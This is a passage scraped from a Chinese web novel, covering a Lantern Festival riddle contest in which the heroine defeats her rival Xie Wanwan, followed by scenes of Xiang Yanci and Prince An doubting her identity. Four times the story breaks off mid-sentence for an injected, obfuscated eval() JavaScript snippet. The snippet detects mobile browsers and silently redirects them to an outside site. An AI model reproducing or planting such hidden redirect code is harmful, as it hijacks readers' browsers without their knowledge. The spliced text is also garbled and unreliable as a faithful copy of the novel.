关失越：“走，下一个！咱们得快些，争取不给那谢婉婉留余地。” 谢七娘眼里的光芒更盛了，她立马捂住了嘴，点头：“好，不给她答题的机会！！！” 于是，两人分工协作。 自己能猜的就自己猜，一时猜不到的，立马告诉对方。如此一来，胜率更高，且总数也会更多。 另外一边，谢婉婉打的也是这个主意。 她很兴奋。 想着能再次成为众人瞩目的焦点，谢婉婉就激动得脸颊发红。 那两人竟敢不知死活地撞到她跟前来，她就要用实力狠狠地打她们的脸，好让她们知晓，她们跟她的差距！ 她今日要好好羞辱她们！ 所以，她要快！ 争取把所有的灯谜都猜完，好让那两个军妓一个也猜不出来，当着这么多人的面，丢人现眼！ 而其余人都想拿到那只凤凰花灯，因此，个个都全神贯注、冥思苦想，巴不得能多猜中几个！ 于是，所有人都在努力猜。 比赛现场，气氛格外凝重。 今日参加的人太多了，比赛场地便设了好几处。 不管是哪一处的，最后都会取前三名出来，再进入总决赛。 另一处比赛场地，戴着面具的沈淮瑾也在猜灯谜。他猜得很快，不消片刻，他便猜中了三个灯谜了。 ========= 茶楼外面，仍然围了不少人。 向砚辞今日穿了件黑色的衣服，脸上戴了张老虎面具，站在角落里观望。 他知道，谢婉婉在里面比赛。 她让人给他带话，约他在此处见面。 他原本很高兴的。 可是，想到自己身上的那些字，他炙热的心如同被人泼了冰水，冰冷而刺痛。 这些天，他一直都在想如何将这些字清除掉。 可惜，什么办法他都试过了，没有用！ 那些字不仅仅是烙上去了，而且，在烙上去后，还被注入了墨汁。 去不掉！ 想要去掉，除非将那块皮肉都削掉！ 七个字，就得削掉七块皮肉！！ 这还不是最要命的。 要命的是，那字烙的地方非常……羞耻。 就紧挨着那地方了。 一个不小心，他就毁了！ 他哪里敢冒这个险？ 可是，不弄掉吧，他的整个人生也毁了个七七八八了。 关二丫真的好狠！ 他已经跟她认错了，她竟不拦着他，害得他成了如今这样！ 过了今日，那个计划，他必须要实施了。 关二丫不让他好过，他也不会让关二丫好过！！！ 今日，还是好好看婉婉拿到第一名吧。 到时，婉婉肯定会很开心。 只要她开心，他受再多的苦都不是事…… “出来了！前十名的已经出来了！！” “快看！里面有向探花的表妹关婉婉！” “去年就是她得了头名，没想到今年又有她！她可真是个才女！” “那是，你也不想想，她可是探花郎的表妹！！” “怎么回事？今年的总决赛要在外面的台子上进行？” 众人议论纷纷，茶楼掌柜站在约摸六七岁孩童高的高台上，抬手压了压。 “今日参加灯谜的才子才女们非常多，且个个才思敏捷，实在是令我等大开眼界！ 这般精彩绝伦的比赛，实属罕见，为了让更多的人看到，我们决定，今日的总决赛，便改在这个高台上进行！ 欢迎大家观看！” 众人一听，立马议论纷纷。 巨大的声响让现场气氛一下子就起来了。 在“太好了”、“哇”、“俊男美女可真让人大饱眼福”、“啊啊啊啊”等声音中，元宵灯谜的总决赛开场了。 谢婉婉狠狠地瞪了一眼关失越和谢七娘。 这两个贱人运气可真好！ 竟然进了前十！！ 但是，她保证，第十名将是她们最好的成绩！ 等会儿她一定要大杀四方，将她们杀得片甲不留！！ 第106章 光芒万丈（2） 想到这里，谢婉婉收回了视线，全神贯注地看题目。 而被她瞪了一眼的关失越嘴角微微勾起，给了谢婉婉一个轻蔑的微笑。 若是比别的，关失越还觉得自己可能会输。 但比猜灯谜嘛，关失越非常有自信。 只要她关失越上场，就没有能赢过她的。 谢婉婉不是自诩为大夏第一才女吗？ 她就要将她的第一才女之名抢走！ 比赛分为两个回合。 第一回合，比数量。 同样的时间，同样的题目，比谁猜出的数量最多。 数量最多的胜。 第二回合，比积分。 这一回合采取的是抢答制。抢答正确，积一分。反之，不仅没有得分，还要倒扣掉一分。 总共二十道题，二十道题答完，看积分，积分最高者胜。 听完规则，被人群挤到角落里的向砚辞看向谢婉婉的目光越发专注。 这些都是谢婉婉的强项。 他相信他的婉婉一定能赢！ 而那可恶的关二丫，只能被婉婉踩在脚下，做她的陪衬。 他心里一直存着这样的念头。 然而，当第一回合的结果出来后，向砚辞惊呆了。 现场不少观众也惊呆了。 场上的谢婉婉脸色惨白，手指发颤，不敢置信地道：“什么？陆婉婉第一？！！请问这结果正确吗？” 她身侧的安王脸上同样是质疑之色。 作为主办方的茶楼掌柜将手里的纸条看了又看，万分确定：“是正确的。在刚刚的一盏茶时间里，陆小娘子和她的丫鬟共猜对了三十六道灯谜。不信，大家可以一一查看。” “什么？三十六？！！” “这么短的时间，她怎么可能猜中那么多？！” “我们要看看！” 场下众人的议论，说出了谢婉婉的心声。 谢婉婉也不信！ 毕竟，关二丫只不过是个农女，她大字恐怕都认不了几个，她怎么可能猜灯谜？ 那就只能是谢七了！ 可谢七是什么水平，谢婉婉太了解了！ 本身是有一些的，可赶她差远了！ 她谢婉婉也不过才猜出来十道题而已，谢七怎么可能猜出三十六道？ 假的！ 肯定是假的！！ 然而，当掌柜的将那三十六道题的谜面和谜底都摆出来后，谢婉婉看了，脸更白了。 场下，众人的议论声不知不觉就变了方向了。 “陆婉婉是谁？好厉害啊！竟然比那……还厉害！” “听说是镇国大将军的族妹。” “是吗？没想到陆家不仅行军打仗厉害，连读书也很厉害！” “陆婉婉？你们发现没有，凡是叫‘婉婉’的，都特别聪明！之前的谢婉婉、关婉婉，现在又出了一个陆婉婉！” “一个比一个厉害。” “是呢，而且你们看，这陆婉婉长得也是极美的。” “肤若凝脂，手如柔荑，窈窕淑女，君子好逑。” “她生得可真白，比谢婉婉白……” 人群中的向砚辞快被气**。 这些人眼睛都瞎了吗？ 关二丫一个村姑，怎么能和他的婉婉比？ 他的婉婉美若天仙，聪慧过人，是大夏第一才女！ 关二丫那模样…… 好吧，他不得不承认，如今的关二丫确实变好看了不少，不过，也只是皮肤白了些，身子长高了些，肩膀和腰身都瘦了些而已！ 她怎么能和婉婉比？ 她们两个根本就是两个阶层的人！ 一个是那天上的白云，干净圣洁。 一个是那臭水沟里的淤泥，肮脏丑陋！ 高台上，第一个回合的比赛结果得到了所有选手的认可后，便开始第二个回合的比赛。 就在谢婉婉卯足了劲儿，打算在这个回合狠虐村姑的时候，村姑关失越抢到了答题机会。 谢婉婉气得脸上的表情都险些绷不住了，她手指紧握成拳，指甲刺激着脆弱的掌心，才没让她黑脸。 抢！ 让她抢！！ 即便她抢过去了又如何？ 她一个无知乡野村姑，难道还能答出来？！ 哈哈哈哈，这个回合的规则可是，答错了要倒扣分！ 活该！ 让她跟她抢…… “人间四月芳菲尽，打一中草药名，谜底是：春不见。”关失越不疾不徐地道。 陆婉婉在心里疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528829|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂嘲笑，中草药名那么多，怎么可能是这个呢？再说了，你不过就是一个村姑…… “回答正确！陆小娘子积一分。”掌柜的声音响起。 陆婉婉：“……” 戴着面具的沈淮瑾目光不自觉地落到了关失越脸上，许久都没有收回。 安王第一回认真地打量起了关失越。 人群中的向砚辞：“……” 围观的众人：“她速度好快啊！” “才思敏捷！” “是！” 接下来的十道题，除了第二题、第四题、第七题是被人抢到了之外外，其余的题都是被关失越抢到了。 且，每道题她都答对了！ 在这前十道题的抢答环节里，谢婉婉连一次答题的资格都没有抢到！ 这个回合总共也才二十道题，也就是说，如今已然过了一半了。 也就是说，在接下来的后半场比赛里，谢婉婉若是再和之前一样抢不到题，那她就输定了！ 谢婉婉长这么大，还从未输过。 更遑论，是要输给一个她看不上的替身？ 于是，谢婉婉痛定思痛，决定不管如何都要抢题！ 只是，理想很丰满，现实很骨感。 谢婉婉心态已经崩了，在抢答题环节是相当致命的。 她不管答得来答不来的，都要抢。 偏偏她的对手又是关失越这个触手怪。 在遇到简单的题的时候，谢婉婉抢不过练过武功，速度奇快的关失越，于是，关失越得分，她得不到分。 得不到分，她就越急。 越急，就越要抢。 好不容易抢到了，她还没来得及高兴，结果发现自己答不上来！ 答不上来，还得倒扣分。 那一刻，她慌了。 她求救地看向安王，安王却是无奈地朝她摇了摇头。 无数双眼睛看了过来。 以前，谢婉婉只觉得与有荣焉。因为，以前那些人看她的目光都是羡慕的、欣赏的。 可是现在，谢婉婉只感觉难堪至极。 她觉得所有人都在看她的笑话。 他们在嘲笑她还不如一个大字不识的村姑！ 嘲笑她不如一个被千人骑万人压的营、妓！ 第107章 光芒万丈（3） 谢婉婉如何能够接受？ 偏偏这个时候，关失越还朝她温柔地笑了笑，目光里，是大度宽和的智者对心胸狭隘的愚者的悲悯和理解。 这目光，谢婉婉太熟悉了。 因为，这样的目光原本是专属于她谢婉婉的。 很多时候，她就是用这样的目光安抚那些手下败将的。 “没事的，你已经很厉害了。” 她从来没有想过，自己有一天竟也沦落到了靠别人的大度和施舍过活了。 **，愤怒，不甘，愤懑，憋屈，忌妒，怨恨……等等，在这一刻，充斥了谢婉婉的内心。 这一切，都是拜眼前这个**的**所赐的！ 谢婉婉咬了咬牙，恨恨看向关失越：“你别得意！ 是，这道题很难，我确实答不上。 但是，我答不上来，你也一样答不上！ 咱们两个不过是半斤八两罢了！” 你有什么好得意的？ 关失越眼里的悲悯之色更重了，她很是宽和大度地笑了笑，一副大人哄小孩的模样： “是是是，你说得是，咱们都答不来，好了吧？ 这道题确实有些难，你答不上也很正常，就别为难你自己了。” 言下之意就是，这题你是答不上，但我比你强，我肯定行。 谢婉婉自己就是绿茶，哪里听不出这茶言茶语？ 她明白了，这**是想踩着她往上爬呢！ 她才不会给她这个机会！！！ 想到这里，谢婉婉道：“陆小娘子说这题只是‘有些’难，说‘我’答不上来正常，言下之意就是，你能答上来，是吧？” 关失越嘴角微微勾起，看吧，她就知道，这谢婉婉不简单！ 这不聪明得很嘛！ 跟聪明人说话，就是便捷！ 既然互相都知道对方的底细了，那就……不装了吧。 于是，关失越对谢婉婉和安王做了个抱歉的抱拳，这才站直了身体：“在下不才，愿为一试。 若是错了，就算我的，扣我的分就是了。 若是侥幸对了，便…… 算你们一分，如何？” 这自信到近乎嚣张的态度。 她是如何用最谦卑的语气，说出这般狂妄的话来的？ 在场所有人都惊得瞪大了眼睛，然后，目不转睛地看着高台上那高挑婀娜的雪肤女子。 此时的她，如同一颗火红的珠子，熠熠生辉，光芒万丈。 而谢婉婉，则被她秒成了渣。 谢婉婉手指握成了拳头，捏得咯吱作响。 她长这么大，还从来没有被人这么羞辱过！ 她想说不必了，好给自己留一份风骨。 可是，她不甘心！ 她始终不肯相信，眼前的这个出身乡野的营妓能胜过自己，她总觉得，这**根本就不会答这道题！ **之所以这般说，只是为了踩着她谢婉婉往上爬而已。 她才不会让她如愿！！！ “是吗？陆小娘子可真是‘善良大度’呢！” 谢婉婉牙齿咬得咯吱作响，面上却笑得谦逊温柔。 “我确实很想知晓答案，既然陆小娘子知晓，那就烦请告知我吧。 扣分什么的倒是不必了，原本就是我自己答不上来，还是扣我自己的吧！ 我就是想知晓答案而已。 多谢了。” 谢婉婉既然上赶着不要积分，关失越也没有大度到非要白送给她，毕竟，她们两个可没好到那个份上！ 于是，关失越道：“随你吧。” 之后，关失越看向了出题人，道：“楼台接楼台，一层一层接起来，上面冒白气，下面水开花。 此物常出现在大户人家的厨房，谜底是蒸笼。 听闻关娘子出身赤霞府的乡野人家，家中贫寒，若是没有向探花，这一辈子怕是也没机会来京都。 关娘子没见过此物也正常。” 谢婉婉：谁说我是关娘子了？！谁说我出身乡野了？！！出身卑贱的明明是你！是你！！！ 在场众人：噢噢噢噢，说得是啊！她自己不是说她是关婉婉吗？ 既然不愿做“谢婉婉”，那自然得做乡野村姑了！ 没毛病！ 做谢婉婉，就得去当营妓；做关婉婉，不用当营妓，安全！ 可是，既然都做了“关婉婉”了，那就不该再用之前“谢婉婉”的资源了。 人总不能既要，又要，还要！ “陆小娘子回答正确。答案就是蒸笼。”茶楼掌柜看向安王，“现下……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528830|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安王眼神冷厉地看了一眼关失越，这才温和地看向掌柜：“既然是我们自己没答对，那就按照规则，扣我们的分吧。” 接下来的比赛，关失越发挥更稳了。十道题被她抢到了六道，且每道题都答对了。 剩下的四道题，沈淮瑾抢到了两道，一个中年文士抢到了一道，一个十三岁的小娘子抢到了一道。 谢婉婉还和上半场一样，一道题都没抢到。 到最后统计分数，谢婉婉和安王两人连前五都没进到，只得了个第六名。 这对谢婉婉来说，不啻于奇耻大辱。 而关失越则成了她的对照组，以绝对领先的优势，拿到了第一名。 关失越和谢七娘相视而笑。 莹秀激动得不行，大声道：“我家主子就是厉害！比向探花的表妹厉害一千倍、一万倍！！” 她这句话一出，在场不少人附和：“是啊，这陆家小娘子赢了谢婉婉，那才叫厉害！” “谢婉婉是不如她。” “以后这第一才女的名头就该换人了！” “依我看，早就该换了！” “是啊，在那谢家人做出那种贪赃枉法的恶行时，就该如此了！” “诶对了，谢家人做出了那样的事，不是说谢家女眷都充军了吗？为什么谢婉婉还能出现在京都？” “这你就不知晓了吧？人家说了，她不叫‘谢婉婉’，她叫‘关婉婉’，是向探花的表妹！” “对对对，刚才陆小娘子也说了，她是出身赤霞府乡野的‘关婉婉’。” “关婉婉不就是谢婉婉吗？” “嘘……不要命了？！这样的话你也敢说？！！你也不想想，那人若是没有人庇护，她敢出来吗？你呀，你真的是……” 谢婉婉灰溜溜地走下台，耳边听着众人的议论，脸如同被人狂扇了几百个巴掌一般，火辣辣的。 原本想借着这个机会重拾荣光，顺便将那两个**踩入泥潭的，结果，反倒做了那两个**的踏脚石！ 谢婉婉从来没有哪一刻像如今这般恨一个人。 她恨**关二丫！ 恨死她了！ 她发誓，她一定要除掉她！！ 在这世上，只有她谢婉婉踩别人的，没有人能踩着她谢婉婉上位！ 没有人！！ 第108章 她到底是不是关二丫？ 关失越战胜了谢婉婉这么了不得的大事，自然是引起了不小的轰动。 不少人都在议论这事。 且，从今往后，议论的人只会越来越多。 毕竟，第一才女之争，在任何时代都是热点。 当然，这些都是后话了。 如今，关失越拿到了凤凰花灯，开心得不得了，和谢七娘、莹秀几人说说笑笑地离开了。 背影说不出的轻盈。 在她们身后不远处，有两道炙热的目光一直追逐着她们。 一道是沈淮瑾的。 另一道是向砚辞的。 “等等……”沈淮瑾想说什么，脚步踏出去半步，又硬生生收了回来。 他有些懊恼地闭了闭眼。 算了！ 发生了那么多事，他和她势如水火，想来，她应当是不愿意见到他的。 而那夜…… 很显然，她是那方面的老手，她那样做的初衷，只是为了羞辱他而已。 他若是但凡有些骨气，就不应该恋恋不忘、食髓知味。 想到这里，沈淮瑾猛地转身，朝着相反的方向，大步离去。 向砚辞的脚不受控制地跟在了关失越身后。 今日这场比试，实在是太让他震撼了！ 那个女子一身红裙，雪肌玉肤，身姿窈窕，同时，却又才思敏捷、博闻强记。 各种典故，各种轶事，她都知晓其出处，并轻轻松松融会贯通、信手拈来。 如此博学的女子，别说是谢婉婉比不上了，便是他的老师在场，也不一定能赢了她！ 今日这场比试，就如同来到了她的主场，她大杀四方、无人能敌、光芒万丈。 这样的女子，是谢婉婉所万万不及的。 如若说谢婉婉是那萤火，她便是那朗朗皓月！ 这样惊才绝艳的女子，这样博学聪慧的女子，会是那个大字不识、出身乡野、丑陋粗鄙的关二丫吗？ 从一开始，他就不认为她是关二丫。 毕竟，两个人的差距实在是太大太大了，大得根本没法让人将两者联系到一起。 是婉婉告诉他，她是关二丫的。 他不能接受。 为此，他担心了许久，忐忑了许久。 待他好不容易证实了她确实是关二丫，可现在，她又给他整了这一出！ 她真的是关二丫吗？ 她怎么可能是关二丫？ 即便女大十八变，即便她遇到了了不得的机缘，可是，一个人的变化绝不可能这么大！ 就跟脱胎换骨，回炉重造了一遍似的！ 即便就是回炉重造，一个人的天资是有限的，一个从未读过书的村姑，不管如何，也不可能变成第一才女的！ 更不可能打败曾经的大夏明珠！！ 所以，她肯定不是关二丫！！ 向砚辞这般想着，一直跟着关失越，走着走着，前面的人突然停下，回头看了过来。 向砚辞下意识地偏过头。 待偏过头后，意识到自己如今可是戴了面具的，懊悔地将头又转了回去。 然后，他看到了“陆婉婉”在笑。 那是……嘲笑。 她认出他来了！ 那三天四夜的羞耻记忆片段顿时如井喷了一般，忽地一下子涌入了他的脑子，向砚辞只觉得脸上火辣辣的。 他都说了什么，做了什么啊！ 他说要和她好好过日子。 他说他后悔了。 他一次次忏悔。 他跟狗一样在她面前摇尾乞怜。 他甚至为了表现自己的“诚意”，自己抓了烙铁往自己大腿上烙字！ 他做这一切的前提是，这个人是关二丫。 可现在他很肯定这人不是关二丫！ 天啊！ 他没脸见人了！！！ 这一刻，向砚辞生平第一次对谢婉婉有了不满。 若不是听她信誓旦旦地说陆婉婉是关二丫，他怎么也不会在陆婉婉面前做出那样的事！！ 当然，最主要的还是怪他自己，他容易太相信别人了，尤其是谢婉婉。 现在怎么办？ 他曾经在陆婉婉面前丢尽了脸…… 想到这里，向砚辞不敢再待，脚下转了个弯，从另一个方向大步离开。 他几乎是落荒而逃。 **的是，在他逃离的时候，关失越的目光一直跟随着他，眼里的玩味一闪而逝。 ========= 关失越、谢七娘和莹秀主仆三人提着凤凰花灯走在人群里，一路上都能收到不少人投来的艳羡的目光。 莹秀从来没收到过如此多的关注，对上男女老少投来的或惊艳或羡慕或好奇的目光，骄傲地挺了挺胸脯。 谢七娘在京都过了十几个元宵节了，可今年的元宵节，却是她收获艳羡最多的元宵节， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528831|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是最令她难忘的元宵节。 以前，总有谢婉婉压着她。 今晚，她终于翻身，将谢婉婉踩在了脚下。 这种逆袭的感觉实在是太爽了！ 她想她能为此开心一个月。 主仆三人走着走着，突然遇到了一个熟人。 许应如和她的兄弟姐妹、表兄弟表姐妹们。 见着关失越和谢七娘，许应如大老远跑了过来：“陆小娘子！七娘！” 关失越也很开心：“许娘子，许小郎君，苏三娘，苏六娘，苏小郎君……” 当初在承恩侯府的赏花宴上，许应如只给她介绍了一次，关失越便将所有人的名字记下了，如今，竟一个也没有叫错。 许应如很高兴，冲谢七娘眨了眨眼睛：你这朋友可真聪明！ 谢七娘今日高兴，骄傲地挺了挺胸脯：“应如，你不知道，陆小娘子可厉害了！ 刚刚猜灯谜比赛，陆小娘子赢了第一名！ 你看，这花灯，就是陆小娘子赢回来的！！！ 哦对了，参加比赛的还有谢婉婉和安王，他们都是我们的手下败将！” 许应如几人：“什么？陆小娘子打败了谢婉婉？” “得了头名？” “你确定那是谢婉婉？” 谢七娘跟这些人也是自小就相识的，说话也比较随意自然：“当然！好多人都知晓！！不信，你们派人去打听打听！” 说话间，谢七娘还接过了莹秀手里的凤凰花灯，在几人跟前晃了晃。 “瞧，这就是头名的奖品！” 于是，许应如围着这花灯，各种观赏，各种赞叹。 也相信了谢七娘。 关失越见许应如和她的姐妹们喜欢极了这花灯，于是将花灯送给了许应如：“送给你。” 许应如大喜过望，但觉得这礼物太贵重了，左右为难。 关失越直接将杆子塞到她手里：“你不是说我和萋萋是你的好姐妹吗？你若说的是真的，就不要拒绝我们的礼物。” 许应如的姐妹和表姐妹们又羡慕又欢喜，纷纷劝许应如收下。 许应如在自己身上摸了摸，没摸出有用的东西，心道明日定要送件像样的回礼，加上又确实喜欢得很，便收下了。 “那我就厚着脸皮收了。过两日我定奉上回礼。” “好。”关失越道。 接下来，两拨人汇合成了一伙人，继续过元宵节。 第109章 到底是不是同一个人？ 自从猜灯谜输给了关失越后，谢婉婉并没了任何游玩的兴致。 以往这个时候，安王都会用别的有趣的事情吸引谢婉婉的注意力，让她又开心起来。 然而，今夜的安王很沉默。 他一声不吭走在谢婉婉身侧，如同一根会走路的木雕。 谢婉婉受到的打击太大，一开始并没有意识到这一点，直到两人走了半日，都快走回安王府了，谢婉婉才察觉出异样。 “殿下，今日元宵节，这就回府了？” 安王似乎有一点不耐烦：“你还想去哪里玩吗？” 谢婉婉心思玲珑剔透，哪里没听出这里面的不耐来，忙贴心地道：“妾也没什么想去的地方，要不咱们回去吧。” “嗯。”安王道。 谢婉婉：“……” 这男人心不在焉了。 以前，他不是这样的！ 肯定是因为关二丫！ 都是关二丫那营妓抢了她的风头！！ 这男人该不会对关二丫感兴趣吧？ 想到这里，谢婉婉只觉着心里很慌，她走到了安王身侧，怯怯地扯了扯他的袖子。 安王侧过头来：“何事？” 语气也不如以前温柔缱绻了。 谢婉婉心头的不安更盛了，她露出了一个笑来，以前，安王最喜欢看她笑了。 他说，她笑起来的样子非常美。 然而，今夜的安王对她的笑视若无睹，他没有趁机拉着她的手，也没有趁机揽她入怀，他道：“到底有什么事？” 被宠爱和偏爱惯了的人，是最受不得这样的落差的。 谢婉婉心头一堵，好似有什么东西，就要远离她而去了！ 那种不安和慌乱更甚，谢婉婉不知怎地，原本打算说的话到了嘴边，硬生生地变成了：“殿下有没有觉着那关二丫有问题？” 这正是安王这一路都在思索的问题，闻言，他点了点头：“确实。她一个农女，按理，是不应当如此博闻强记、博学多才的。可她却做到了！还赢了你！！” 谢婉婉：论往人心头上插刀，你是最行的！ “而且，她是‘陆婉婉’！陆家那个老七，谁不知道都消失了二十几年了！这个‘陆婉婉’才几岁？这个身份，很容易作假。” 安王越想越豁然开朗。 “这‘陆婉婉’肌肤白皙，身形窈窕，显然不是农家女。” 谢婉婉：“不，她就是农家女！她是关二丫！！这个，向小郎君已经证实过了！而且，殿下您查到的资料不也是这样说的吗？” 安王摇了摇头：“不不不，农家女不该是这样的。当然，她也不会是陆七的女儿！！长相好，出身好，武功高强，还博学多才……” 该不会是陆之斐培养的细作吧？ 陆之斐有个族兄陆之涯，他不是成立了个什么**组织吗？ “陆婉婉”该不会是千里及细作吧？ 想到这里，安王丝毫不顾及谢婉婉，加快了脚步往府中去。 就这样被丢在原地的谢婉婉气得眼眶红了，眼泪在寒风中唰地流了下来。 关二丫！ 该死的关二丫！！！ 你为什么不乖乖留在军营当**？ 你为什么不乖乖留在军营当你的**？ 那才是你该待的地方！！ 你一个农女，你原本就应该大字不识、粗鄙丑陋的，你为什么要长得这么好看？ 为什么这么博学多才？ 为什么要来京都？！！ 好好地留在军营，什么也不想，乖乖地当我的替罪羊不好吗？ 为什么要反抗？ 你就是想把我踩在脚下，抢走我的一切，对不对？ **！ 我不会让你如愿的！！ 绝不！！！ 想到这里，谢婉婉顾不得被丢下的伤心了，大步朝着安王追了过去：“殿下，要不要妾将向砚辞叫过来问问？毕竟，他和关二丫是同乡……” ======== 很快，向砚辞来到了安王府。 安王府的花厅里，安王看着向砚辞道：“你和关二丫是同乡？” 向砚辞：“是。” 安王：“你和关二丫熟吗？” 向砚辞：“熟……” 熟吗？ 他们是同乡，他们是隔壁村的，她还是他的妾。 按理，他们是很熟的。 可是，仔细想来，从小到大，他见她的次数屈指可数。 印象里，关二丫就是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528832|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑黑的、矮矮的，长得壮实的村姑。 她从来都没读过书！ 她家里面的叔伯兄弟，没一个读书的！ 便是她同族的叔伯兄弟，也都没有一个读过书的！！ 可是，就是这样的人，却在今晚的灯谜上大放异彩。 她们真的是同一个人吗？ “其实我不应该这样说。”向砚辞忙补充道，“说真话，我真没有感觉她和陆婉婉是同一个人。毕竟，她们两个相差实在是太大太大了！她们两个没有一点相似之处。” 安王不置可否，修长的手指无意识地敲了敲桌面：“本王派去调查的人回来说，关二丫确实进了军营，之后再没出来过。 再出来的时候，她身边就跟了个谢七娘。 对了，你年前的时候不是给赤霞府老家带过信吗？ 你家里人怎么说？” 这也正是向砚辞百思不得其解之事。 “家里已经回信了，他们说，关二丫中途回来过一次，听说她确实是在陆家军做事，一个月十两银子的月例。但是，她家里人嫌她丢脸，便将她除族了。” 这与安王调查到的差不多。 安王看向向砚辞：“你是见过曾经的关二丫的，你觉得这陆婉婉和那关二丫长得像不像？” 这个问题，已经折磨了向砚辞十几日了。 这让他怎么说呢？ 说像吧，确实是有些像。 说不像吧，两人确实有着天壤之别！ 到现在，他也不知道到底是像还是不像了。 向砚辞思索了片刻，道：“眉眼有七八分相似。 脸有六七分相似，鼻子嘴巴有**分相似。 耳朵有九分相似。 皮肤和身形……没有一丝相似之处！ 至于学识，关二丫大字不识、文墨不通；而陆婉婉……确是博闻强记、文采卓绝。” 所以，这两个人到底是不是同一个人，他也不知道了！！！ 听了他的回答，安王却是眼前一亮：“本王知晓了。 你再想想，那关二丫身上可有什么明显的特征？ 身体上的特征，比如痣、胎记、伤口等等。 另外，就是动作、神态等方面，有没有什么特点？” 第110章 他是她的狗 向砚辞在床上辗转反侧到深夜，怎么也不能入睡。 从安王府回来后，他便时常想起陆婉婉和关二丫。 吃东西的时候想起她，洗脚的时候想起她，发呆的时候想起她，躺在床上的时候满脑子都是她！ 高傲的她，讥讽他的她，才思敏捷的她，一袭红裙的她，热烈张扬的她，大杀四方的她，光芒万丈的她…… 她到底是不是关二丫？ 她应当是。 安王不会出错，安王的情报更不会出错！ 而且，她跟关二丫的眉眼其实是有七八分相似的。 她应当就是她了！ 她是她，那么，岂不是就是他的妾？ 这个念头一起，向砚辞整个身体都热了起来，脸上不自觉地有了笑容…… 不！ 不对！！ 她那么聪慧，那么美丽，那么耀眼，那么高贵，那么博学，她怎么可能是关二丫那个丑陋的、愚蠢的无知村妇呢？ 她不是她！！！ 绝对不是她！！！ 想到这里，他心里又有了一种说不出的失落感…… 就这样，他思来想去，脑子里乱糟糟的，他又翻来覆去了好几次，被强行中断的思绪不知为何，又飘了回来。 其实，陆婉婉若是关二丫就好了。 他给她认了错，她说过她会原谅他的！ 对了，她应当会原谅他的吧？ 毕竟，当时他为了求得她的原谅，可是义无反顾地在自己最私密的地方，烙上了他是她的狗这样羞耻的印记呢！ 他依稀记得，当时她看向他腿上印记时那欢喜又灼热的眼神。 她定是喜欢他这样的！ 在之后的日子里，每当他们亲热的时候，每当她看到他腿上的刺字，肯定就会原谅他过去的所作所为，然后疯狂喜欢他，和他一起…… 想到这里，向砚辞全身上下都热了起来…… 如此反复折腾，向砚辞到天快亮的时候才睡着。 睡下后，他做了一个梦。 梦里面，那个红衣女子强硬地推倒了他，扯开了他的腰带，目光炽**看着他的腿。 女子纤细白皙的手指轻轻地覆在那印字上，指腹缱绻摩挲。 他颤了颤。 女子抬起一张雪白的脸，温柔而疼惜地道：“疼吗？” 他立马摇头：“只要你肯原谅我，我做什么都愿意。从此，我就是你忠诚的狗。” 女子果然很满意这个回答，她白皙的指尖按住了他的唇，温柔地亲了亲他的下巴，然后，俯身，亲在了那个“狗”字上…… 然后，向砚辞就醒了。 他发现，自己的裤子脏了，被褥也被弄脏了。 他猛地合上被褥，不顾发烫的脸颊，将整张脸埋进了被褥里。 陆婉婉。 关二丫。 你们俩到底是不是同一个人？ ======== 正月十六，该上班的上班，该训练的继续训练。 今日的楚翊尘有些心不在焉。 关失越：“师父，还是拿出点真本事来吧！否则，你若是被我打败了，岂不是很丢脸？” 楚翊尘回给了她一串凶猛的拳法。 关失越左右闪躲，险险避开，还继续嘴硬：“师父你昨晚是不是没见到心上上，心里不畅快？” 楚翊尘一个猛踹过来，关失越躲闪途中一个不慎，脚下被什么东西一绊，重重地摔在地上。 楚翊尘一把将她攥起来，神色说不出的冷峻和严肃： “跟你说过多少次了，咱们做细作的，这一辈子都没有资格有心上人，更不可能像正常人一样结婚生子。 从做细作的那天开始，咱们就注定是孤家寡人了。 明白了吗？” 男人五官本就硬朗，此时故意冷着脸，更显得冷硬。 